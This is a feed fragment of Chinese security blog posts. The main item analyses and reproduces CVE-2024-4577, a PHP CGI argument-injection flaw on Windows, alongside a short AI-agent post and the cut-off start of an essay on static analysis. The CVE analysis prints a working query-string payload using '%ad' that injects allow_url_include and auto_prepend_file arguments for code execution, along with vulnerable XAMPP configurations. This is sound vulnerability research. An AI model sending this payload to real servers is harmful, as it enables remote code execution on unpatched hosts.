bold;">Openclaw并不是第一个依托于LLM的主动代理助手</span><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="75"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">年初Openclaw爆火，其实我觉得主要推手就是腾讯，腾讯以非常快的效率跟进并推广这个东西。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="76"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">今天这篇博客我先不讨论太多Openclaw，但下面这张图确实很有意思。</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="76"><span leaf=""><img alt="76fe848412b5c0fbc31b130397da02c7.jpg" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000623" data-ratio="1.2314814814814814" data-w="1080" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=f636ea3b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FgIBYXIMwxtvx8pAxsRRTDJzVkbjWnOtpibrXMLA5djaPIWX7RWBRu1y2rFQBQlibSZxfZW7OibSAktuOsXFvrEPT8rD7K0qNk0keg8qupNd7Js%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></p><figcaption style="text-align: center;font-size: 14px;font-weight: 300;color: rgba(0, 0, 0, 0.55);margin-bottom: 16px;line-height: 2;" data-layout-id="77"><span leaf=""><span textstyle="" style="font-size: 14px;">不知道哪来的web4.0图</span></span></figcaption><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="78"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">时至今日，</span><span textstyle="" style="font-size: 16px;color: #ff6827;font-weight: bold;">正处于时代浪潮风口当中，AI变革的时代来了吗？</span></span></p><p style="text-align: justify;font-size: 17px;font-weight: 300;color: rgba(0, 0, 0, 0.9);margin-bottom: 16px;line-height: 2;" data-layout-id="79"><span leaf=""><span textstyle="" style="font-size: 16px;color: rgba(0, 0, 0, 0.9);">或许现在的我给不出答案，但后续的博客中，我会伴随着我的学习和分享，和大家一起探讨这个答案。</span></span></p><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=16bcfaa1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484272%26idx%3D1%26sn%3D8d1473a85e290595de1c3fa9a6f9368a">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 10 Mar 2026 12:46:00 +0800</pubDate>
    </item>
    <item>
      <title>PHP CGI Windows平台远程代码执行漏洞（CVE-2024-4577）分析与复现</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484228&amp;idx=1&amp;sn=b368709a61e270a6115c517b7acb28a5</link>
      <description>今天在DEVCORE的官方博客发布了一个漏洞通报，是存在于windows特殊场景下的PHP CGI远程代码执行漏洞（CVE-2024-4577）</description>
      <content:encoded><![CDATA[<p>
原创 <span>LoRexxar</span> <span>2024-06-08 01:51</span> <span style="display: inline-block;">北京</span>
</p>

<p>今天在DEVCORE的官方博客发布了一个漏洞通报，是存在于windows特殊场景下的PHP CGI远程代码执行漏洞（CVE-2024-4577）</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e7c7fcd2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQNxymNqphuer0MUgaibD0PneCXnUanFeTrP5f5hJdGNH12AsfpNDITRg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 8px;"><span style="font-size: 15px;letter-spacing: 0.034em;">在2024.6.6今天，@Orange在他的博客发布了他即将在2024年8月Black Hat USA公开的议题《</span><strong style="font-size: 15px;letter-spacing: 0.034em;">Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!</strong><span style="font-size: 15px;letter-spacing: 0.034em;">》</span><ne-clipboard source="https%3A%2F%2Fwww.yuque.com%2Florexxar%2Fmdko6t%2Fmncfwgn3yb1wx5g0%2Fedit"></ne-clipboard></section><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;"><a href="https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227" target="_blank">https://www.blackhat.com/us-24/briefings/schedule/index.html#confusion-attacks-exploiting-hidden-semantic-ambiguity-in-apache-http-server-40227</a></span></section></li></ul><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">伴随着议题的发布，今天在DEVCORE的官方博客发布了一个漏洞通报，也就是存在于<strong>windows特殊场景下的PHP CGI远程代码执行漏洞</strong></span></section><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;"><a href="https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/" target="_blank">https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/</a></span></section></li></ul><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">接下来看看漏洞的详情</span></section><h1 style="font-size: 28px;line-height: 36px;margin-top: 26px;margin-bottom: 8px;"><span style="font-size: 24px;">漏洞描述</span></h1><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;"><strong>CVE-2024-4577</strong>导致漏洞产生的本质其实是</span><span style="font-size: 15px;">Windows系统内字符编码转换的Best-Fit特性</span><span style="font-size: 15px;">导致的，相对来说<strong>PHP</strong>在这个漏洞里更像是一个受害者。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">由于Windows系统内字符编码转换的Best-Fit特性导致<strong>PHP原本的安全限制被绕过</strong>，再加上一些<strong>特殊的PHP CGI环境</strong>配置导致了这个问题，最终导致漏洞利用的算是一些PHP的小技巧。</span></section><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 8px;">影响范围</h2><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">这个漏洞理论上影响PHP的所有版本</span></section><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;">PHP 8.3 &lt; 8.3.8</span></section></li><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;">PHP 8.2 &lt; 8.2.20</span></section></li><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;">PHP 8.1 &lt; 8.1.29</span></section></li></ul><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">除此之外的其他PHP版本官方已经不再维护了，包括PHP8.0、PHP7、PHP5在内，但是<strong>理论上来说他们都受到这个影响。</strong></span></section><h2 style="font-size: 24px;line-height: 32px;margin-top: 21px;margin-bottom: 8px;">漏洞利用条件</h2><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 8px;"><span style="font-size: 15px;">Windows系统内字符编码转换的Best-Fit特性</span></h3><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">前面提到过，这个漏洞的利用前提是由于Windows系统内字符编码转换的Best-Fit特性，所以第一个前提条件就是</span></section><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;">必须是<strong>Window环境</strong></span></section></li></ul><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">其次由于这个特性，windows必须使用以下其中之一的语言系统</span></section><ul class="list-paddingleft-1" style="padding-left: 23px;"><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;"><strong>繁体中文</strong> (字码页 950)</span></section></li><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;"><strong>简体中文</strong> (字码页 936)</span></section></li><li style="font-size: 15px;"><section style="margin-bottom: 8px;"><span style="font-size: 15px;"><strong>日文</strong> (字码页 932)</span></section></li></ul><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">而且除了这3个以外，其他的语言也不能完全排除影响，凡是存在该特性的的系统都受到影响。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;"><strong>那什么是Best-Fit呢？或者说，为什么是Best-Fit？</strong></span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">说白了其实就是windows对于不同编码字符集之间转化的一个特性，可能大家对于Best-Fit很陌生，如果换一个词叫做宽字节，我想大家就会很熟悉了，说白了就是<strong>一些特殊字符在特殊字符集下转化就会转成一个正常的字符</strong></span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">而这里用到的就是%ad</span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000569" data-ratio="0.17956656346749225" width="344.53333333333336" data-type="png" data-w="646" src="https://wechat2rss.xlab.app/img-proxy/?k=13bbaeda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQrq22rkpnUEffxe9xvHhe4QxScfJ20sicdFe06ES5jsvKyRxsIrunt0Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">而这个正常的字符就是</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">-</span></code><span style="font-size: 15px;">，我们可以结合php的源码来看，为什么这个</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">-</span></code><span style="font-size: 15px;">很重要</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;"><a href="https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798" target="_blank">https://github.com/php/php-src/commit/4dd9a36c16#diff-680b80075cd2f8c1bbeb33b6ef6c41fb1f17ab98f28e5f87d12d82264ca99729R1798</a></span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000572" data-ratio="0.44854586129753915" width="953.6" data-type="png" data-w="1788" src="https://wechat2rss.xlab.app/img-proxy/?k=07789a1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQDCibYf8SvxDTXyvhUUuOpzKbE5r40YlfhjqZlg0uIxiamtTqfRoqiclHg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">在php的代码当中其实原本就过滤了-这个符号，在新的commit当中还加入了<strong>对0x80以上的所有字符的限制来修复</strong>这个问题。在代码的注释当中有这么一段话来解释这个问题</span></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">Something is wrong with the XAMPP installation :-(<br/>Apache CGI will pass the query string to the command line if it doesn&#39;t contain a &#39;=&#39;.<br/>This can create an issue where a malicious request can pass command line arguments to<br/>the executable. Ideally we skip argument parsing when we&#39;re in cgi or fastcgi mode,<br/>but that breaks PHP scripts on Linux with a hashbang: `#!/php-cgi -d option=value`.<br/>Therefore, this code only prevents passing arguments if the query string starts with a &#39;-&#39;.<br/>Similarly, scripts spawned in subprocesses on Windows may have the same issue.</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">如果get发送的请求字符串中不包含&#34;=&#34;，那么<strong>Apache就会把请求传到命令行作为cgi的参数</strong>。但这会导致恶意请求就可以将命令行参数传递给php，如果直接处理传参，那么会影响到以独立脚本方式运行的PHP脚本。所以只有<strong>当开头是-的时候(跳过所有空白符号)才阻止传递参数</strong>。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">而这个漏洞在2012年的时候就被曝光出来，就是CVE-2012-1823</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;"><a href="https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html" target="_blank">https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html</a></span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">当我们用%ad来代替-之后，参数传递没有被阻止，就构成了<strong>参数注入</strong>。</span></section><section style="min-height: 24px;margin-top: 0px;margin-bottom: 8px;"><span style="font-size: 15px;">而PHP和Apache的环境就会更特殊一点儿，其实在2024年你很难找到类似的环境，但是很有趣的是，<strong>XAMPP For Windows的默认环境就受到这个漏洞的影响。</strong></span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">而相对更具体的受影响的场景有两个</span></section><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 8px;"><span style="font-size: 24px;"><strong>以CGI模式运行的PHP环境</strong></span></h3><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">首先不得不说，这是一个非常非常少见的场景，在2024年你几乎没办法找到一个<strong>直接以CGI模式运行的PHP环境</strong>，而且也没人会去做这样的修改。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">如果你想要改出类似的设定你需要加入以下的配置</span></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">AddHandler cgi-script .php<br/>Action cgi-script &#34;/cgi-bin/php-cgi.exe&#34;</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">或者类似于</span></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">&lt;FilesMatch &#34;\.php$&#34;&gt;<br/>    SetHandler application/x-httpd-php-cgi<br/>&lt;/FilesMatch&gt;<br/>Action application/x-httpd-php-cgi &#34;/php-cgi/php-cgi.exe&#34;</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">在XMAPP的默认配置当中，这部分代码也是被注释的，如果你想要测试这种利用<strong>需要在httpd-xampp.conf中注释解开下面这段代码</strong></span></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">#<br/># PHP-CGI setup<br/>#<br/>&lt;FilesMatch &#34;\.php$&#34;&gt;<br/>    SetHandler application/x-httpd-php-cgi<br/>&lt;/FilesMatch&gt;<br/>&lt;IfModule actions_module&gt;<br/>    Action application/x-httpd-php-cgi &#34;/php-cgi/php-cgi.exe&#34;<br/>&lt;/IfModule&gt;</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">上面这些配置处理的都是一个类似的场景，就是apache会<strong>把请求直接转发给php-cgi</strong>。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">结合上面的特性，你可以通过传%ad来传入一个</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">-</span></code><span style="font-size: 15px;">，这样在-之后的部分就会成为<strong>php-cgi的参数</strong>，构成<strong>参数注入</strong>。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000573" data-ratio="0.5461956521739131" width="981.3333333333334" data-type="png" data-w="1840" src="https://wechat2rss.xlab.app/img-proxy/?k=a307f5a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQpq9Enow8jFgRdrgDhNRJzWVn6OQiaiadLIW1fGn5HgfACYV8IoBJhlUA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">会变成</span></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">-d allow_url_include=on -d auto_prepend_file=php://input</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">构成参数注入导致<strong>最终的任意代码执行</strong>。</span></section><h3 style="line-height: 28px;margin-top: 16px;margin-bottom: 8px;"><span style="font-size: 24px;"><strong>将PHP的执行程序暴露在外 - XAMPP默认配置</strong></span></h3><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">这个场景要特别一些，相比直接把PHP的二进制直接放在web目录下，可能更常见的还是x<strong>ampp的默认配置。</strong></span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">在httpd-xampp.conf中就可以找到这一串代码</span></section><pre data-language="plain" style="border-width: 1px;border-style: solid;border-color: rgb(232, 232, 232);border-radius: 2px;background: rgb(249, 249, 249);padding: 16px;font-size: 13px;color: rgb(89, 89, 89);"><section style="margin-bottom: 8px;"><code><span style="font-size: 15px;">ScriptAlias /php-cgi/ &#34;D:/xampp/php/&#34;<br/>&lt;Directory &#34;D:/xampp/php&#34;&gt;<br/>    AllowOverride None<br/>    Options None<br/>    Require all denied<br/>    &lt;Files &#34;php-cgi.exe&#34;&gt;<br/>          Require all granted<br/>    &lt;/Files&gt;<br/>&lt;/Directory&gt;</span></code></section></pre><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">上面的配置是什么意思呢？</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">其实就是访问</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">/php-cgi/</span></code><span style="font-size: 15px;">路径的时候，会映射</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;background-color: rgba(0, 0, 0, 0.06);border-width: 1px;border-style: solid;border-color: rgba(0, 0, 0, 0.08);border-radius: 2px;padding-right: 2px;padding-left: 2px;"><span style="font-size: 15px;">D:/xampp/php/</span></code><span style="font-size: 15px;">下的文件，而这个目录下正好是php的整个目录</span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000571" data-ratio="0.7152509652509652" width="552.5333333333333" data-type="png" data-w="1036" src="https://wechat2rss.xlab.app/img-proxy/?k=a3c9a4f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQuARXZgegkWPzuchIU3TRQSSPjjEAAhhk5l8Z8Pm8olFjpAyCFRsLIA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">但这又有什么用呢，毕竟都denied了，<strong>只有php-cgi.exe是granted的</strong>，我们把视角还是回到php-cgi上。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">如果我们直接访问调用php-cgi.exe，会怎么样呢？</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">答案是会有<strong>安全警告</strong></span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000570" data-ratio="0.03901734104046243" width="738.1333333333333" data-type="png" data-w="1384" src="https://wechat2rss.xlab.app/img-proxy/?k=f2e81101&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQpzefTBShicGbAO8QcW8aeOg8QSJ4qH4VoKXaoUsdLm2ibLVnczubz3hw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">那我们顺着这个思路去看下代码</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;"><a href="https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912" target="_blank">https://github.com/php/php-src/blob/51379d66ec8732e506c43f6c7f1befc500117ae8/sapi/cgi/cgi_main.c#L1912</a></span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000575" data-ratio="0.4799123447772096" width="730.1333333333333" data-type="png" data-w="1369" src="https://wechat2rss.xlab.app/img-proxy/?k=79ea2ec6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQvbHfJAhpPRicNWOsWapZe0cmDe5qETEe4kEMbw6r7rpJVGljQbJsduw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;">我们会发现我们遇到了一个新的概念叫做<strong>force_redirect</strong>，这其实算是<strong>PHP的一个自我保护机制</strong>。在P牛的知识星球里就有提过这个问题。</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;"><a href="https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282" target="_blank">https://wx.zsxq.com/dweb2/index/topic_detail/15411452114282</a></span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="font-size: 15px;letter-spacing: 0.034em;">说白了就是，PHP增加了一个配置叫做</span><strong style="font-size: 15px;letter-spacing: 0.034em;"><span style="color: rgb(47, 48, 52);">cgi.force_redirect=1</span></strong><span style="font-size: 15px;letter-spacing: 0.034em;color: rgb(47, 48, 52);">，</span><strong style="font-size: 15px;letter-spacing: 0.034em;"><span style="color: rgb(47, 48, 52);">开启了这个选项（默认开启）</span></strong><span style="font-size: 15px;letter-spacing: 0.034em;color: rgb(47, 48, 52);">之后，只有经过重定向的规则请求才能执行，不能直接调用执行。那有什么办法绕过呢？</span></section><section style="min-height: 24px;margin-bottom: 8px;"><span style="color: rgb(47, 48, 52);font-size: 15px;letter-spacing: 0.034em;">这里就不多说了，好像没有曝光出来相应的poc，大家可以自己探索一下，应该有好几种办法</span></section><section style="min-height: 24px;margin-bottom: 8px;"><img class="rich_pages wxw-img" data-imgfileid="100000574" data-ratio="0.42258282623394183" width="788.8" data-type="png" data-w="1479" src="https://wechat2rss.xlab.app/img-proxy/?k=83d16635&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FJkQkSjos6US7P7iaYMxEKV9DqsrqYI2zQicBfk6KicWwlpxzEl9h4SuACNeZuNTFJRVbebX9FHtxiannQYo5fajmuQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="margin-bottom: 8px;">很有意思的漏洞，不知道最后议题里能看到什么样的内容~</section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247484228">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=31847e9a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzMyNjU0MQ%3D%3D%26mid%3D2247484228%26idx%3D1%26sn%3Db368709a61e270a6115c517b7acb28a5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 08 Jun 2024 01:51:00 +0800</pubDate>
    </item>
    <item>
      <title>人与代码的桥梁 - 聊聊SAST</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzMyNjU0MQ==&amp;mid=2247484216&amp;idx=1&amp;sn=3ee87eabb84f5dff0ba3ac9d62711e08</link>
      <description>一前 言自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地</description>
      <content:encoded><![CDATA[<p>
<span>LoRexxar</span> <span>2023-12-25 10:06</span> <span style="display: inline-block;">北京</span>
</p>

<p>一前 言自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=34433fbc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9EP6QFMcTmSNhKicC0vozzwniaHxwlzibh7dpp5oqpJ2IY2jmCOtFRDTicmA9POglNeEIAsyuswjV1LeGpRzFEf8Gg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-role="outer" label="edit by 135editor" style="margin-bottom: 24px;"><section data-role="title" data-tools="135编辑器" data-id="110084"><section style="margin:10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="display: flex;justify-content: center;align-items: center;margin-top: 4px;margin-right: -5px;"><section style="width: auto;height: 37px;background-image: linear-gradient(to right, rgb(31, 73, 125), rgb(31, 73, 125));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-width: 0px;border-style: solid none solid solid;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="font-size: 16px;letter-spacing: 1.5px;color: #fff;line-height: 37px;"><strong>一</strong></section></section><section style="width: auto;height: 37px;background-color: rgb(255, 255, 255);border-width: 0px;border-style: solid solid solid none;border-color: rgba(0, 0, 0, 0);padding-right: 15px;padding-left: 15px;"><section style="letter-spacing: 1.5px;color: #1f497d;line-height: 37px;"><strong>前 言</strong></section></section></section></section></section></section><section data-role="paragraph"><p data-pm-slice="1 1 []"><span style="font-size:15px;">自从人类发明了工具开始，人类就在不断为探索如何更方便快捷的做任何事情，在科技发展的过程中，人类不断地试错，不断地思考，于是才有了现代伟大的科技时代。</span></p><p data-pm-slice="1 1 []"><br/></p><p><span style="font-size:15px;">在安全领域里，每个安全研究人员在研究的过程中，也同样的不断地探索着如何能够自动化的解决各个领域的安全问题。其中自动化代码审计就是安全自动化绕不过去的坎。</span></p><p><br/></p><p><span style="font-size:15px;">而SAST作为自动化代码分析的一种，有着其特有的定位以及作用，这篇文章我们就来聊聊静态分析的一些发展历程和思路。</span></p></section><section data-tools="135编辑器" data-id="7"><section style="padding-left: 10px;border-left: 5px solid rgb(170, 170, 170);margin: 10px auto;"><section style="font-size: 13px;letter-spacing: 1px;line-height: 1.75em;color: rgba(102, 102, 102, 0.8);"><p data-autoskip="1" style="color: #666666;font-size: 14px;letter-spacing: 1.5px;caret-color: red;"><span style="color: rgba(102, 102, 102, 0.8);letter-spacing: 1px;caret-color: red;font-size: 15px;">SAST是什么？</span></p><p data-autoskip="1" style="color: #666666;font-size: 14px;letter-spacing: 1.5px;caret-color: red;"><span style="color: rgba(102, 102, 102, 0.8);letter-spacing: 1px;caret-color: red;font-size: 15px;">ChatGPT：SAST是Static Application Security Testing（静态应用程序安全测试）的缩写。它是一种用于检测软件应用程序中潜在安全漏洞和代码缺陷的自动化安全测试方法。</span></p></section></section></section><section data-role="paragraph"><p><br/></p></section><section data-role="title" data-tools="135编辑器" data-id="110084"><section style="margin:10px auto;text-align: center;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="display: flex;justify-content: center;align-items: center;margin-top: 4px;margin-right: -5px;"><section style="width: auto;height: 37px;background-image: linear-gradient(to right, rgb(31, 73, 125), rgb(31, 73, 125));background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-width: 0px;border-style: solid none solid solid;border-color: rgba(0, 